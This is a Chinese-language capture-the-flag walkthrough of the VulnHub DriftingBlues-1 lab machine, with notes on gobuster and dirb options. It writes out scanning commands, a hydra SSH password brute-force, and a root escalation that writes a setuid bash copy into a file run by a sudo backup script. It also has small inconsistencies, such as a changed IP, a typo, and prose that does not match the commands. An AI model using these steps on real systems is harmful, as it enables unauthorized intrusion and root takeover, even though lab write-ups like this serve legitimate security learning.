靶场地址:https://www.vulnhub.com/entry/driftingblues-1,625/,是一个极其简单的靶场,需要具备以下前置知识:
基础的Linux命令及操作;
基础的渗透测试工具使用(Kali / nmap下的工具)。
二珂说:这个靶机系列是跟着新仔一起入坑的,他太卷了,咱们也不能速度太慢了!!!后面还会再次复习DC靶机的实现过程.......
arp-scan 192.168.132.0/24
之前都是扫出目标后就之间nmap一把梭,后面了解到这样容易暴露目标,所以我们一步一步来。
#先扫端口
nmap -p- 192.168.132.158
#扫出来端口再扫描相关服务版本
nmap -sV -A -p- -T4 192.168.132.158
既然开启了80端口HTTP服务那必须访问一波web页面寻找有用信息。
扫了一遍web页面发现俩个邮箱,后面应该有用。
[email protected]
和
[email protected]
再审查一下页面源代码(第一次审查源代码,之前打DC系列的时候都没有思考过)
在源代码处发现一串加密码。
拿去解密,是base64加密。
L25vdGVmb3JraW5nZmlzaC50eHQ=
#解密得
/noteforkingfish.txt
去访问解密出来得文件。
显示出来文本全是Ook,百度解密。
找到一个解密Ook的在线网站:https://www.splitbrain.org/services/ook。
解密出来一段话+署名:eric。
根据文本内容,how to use host file to reach.....
猜测到要修改本地host文件。
(参考DC靶机系列:DC-6)
结合之前发现的俩个邮箱。
vim/etc/hosts
#加入IP和域名
192.168.132.158 driftingblues.box
使用gobuster来暴力扫描一下。
gobuster vhost -u driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
扫出来test.driftingblues.box,访问状态码为200。
重新修改/etc/hosts。
将之前添加的改为192.168.190.162 test.driftingblues.box。
再访问test.driftingblues.box。
访问成功!!!
dirb进行web目录扫描。
dirb http://test.driftingblues.box
访问robots.txt页面。
再访问/ssh_cred.txt。
得到以下这段话。
we can use ssh password in case of emergency. it was "1mw4ckyyucky".
sheryl once told me that she added a number to the end of the password.
-db
通过这个我们进行密码字典猜测,后面加一位数字。
使用hydra进行ssh暴力破解。
hydra -l eric -P pass.txt 192.168.132.158 ssh
密码破解成功,ssh远程登陆。
在这找到flag1。
ssh [email protected]
ls
cat user.txt
目前为普通用户,想办法提权。
cd /var
ls
cd backups
ls
cd backup.sh
cat backup.sh
这里告诉我们。
backup.sh是用zip命令把/var/www目录下的所有内容打包为/tmp/backup.zip。
然后sudo /tmp/emergency。
cd /tmp
ls
确实有backup.zip文件,但是没有emergency。
结合backup.sh脚本中最后一句,会sudo执行/tmp/emergency文件。
而此时/tmp下没有这个文件,我们可以手工创建文件,并将eric用户加入sudo组。
echo 'cp /bin/bash /tmp/getroot; chmod +s /tmp/getroot' > /tmp/emergency
chmod +x emergrncy
ls -al
./getroot -p
whoami
此时提权成功。
去到root目录下,找到第二个flag。
Gobuster是Kali Linux默认安装的一款暴力扫描工具。它是使用Go语言编写的命令行工具,具备优异的执行效率和并发性能。该工具支持对子域名和Web目录进行基于字典的暴力扫描。不同于其他工具,该工具支持同时多扩展名破解,适合采用多种后台技术的网站。实施子域名扫描时,该工具支持泛域名扫描,并允许用户强制继续扫描,以应对泛域名解析带来的影响。
-e:扩展模式,打印完整URL
-f:向每个目录请求追加前斜线(仅为DIR模式)
-fw:当通配符发现时,强制继续操作
-i:显示IP地址(仅DNS模式)
-k:跳过SSL证书验证
-l:包括在输出中的主体长度(仅为DIR模式)
-m string:目录/文件模式(DIR)或DNS模式(DNS)(默认“DIR”)
-n:不要打印状态代码
-np:不显示进度
-o string:输出文件以写入结果(默认为STDUT)
-p string:用于请求的代理[http(s)://主机:端口](仅dir模式)
-q:不要打印横幅和其他噪音
-r:追随重定向
-s string:设置状态码(DIR模式)(默认"200,204,301,302,307,403")
-t int:并发线程数(默认值10)
-to duration:HTTP超时(仅限于DIR模式)(默认10s)
-u string:目标URL或域
-v:冗长输出(错误)
-w string:暴力猜解的单词列表的路径
-x string:要搜索的文件扩展(仅限于DIR模式)
dirb是一个基于字典的web目录扫描工具,会用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站。
格式:dirb <url_base> [<wordlist_file(s)>] [options]
-a 设置user-agent
-p <proxy[:port]>设置代理
-c 设置cookie
-z 添加毫秒延迟,避免洪水攻击
-o 输出结果
-X 在每个字典的后面添加一个后缀
-H 添加请求头
-i 不区分大小写搜索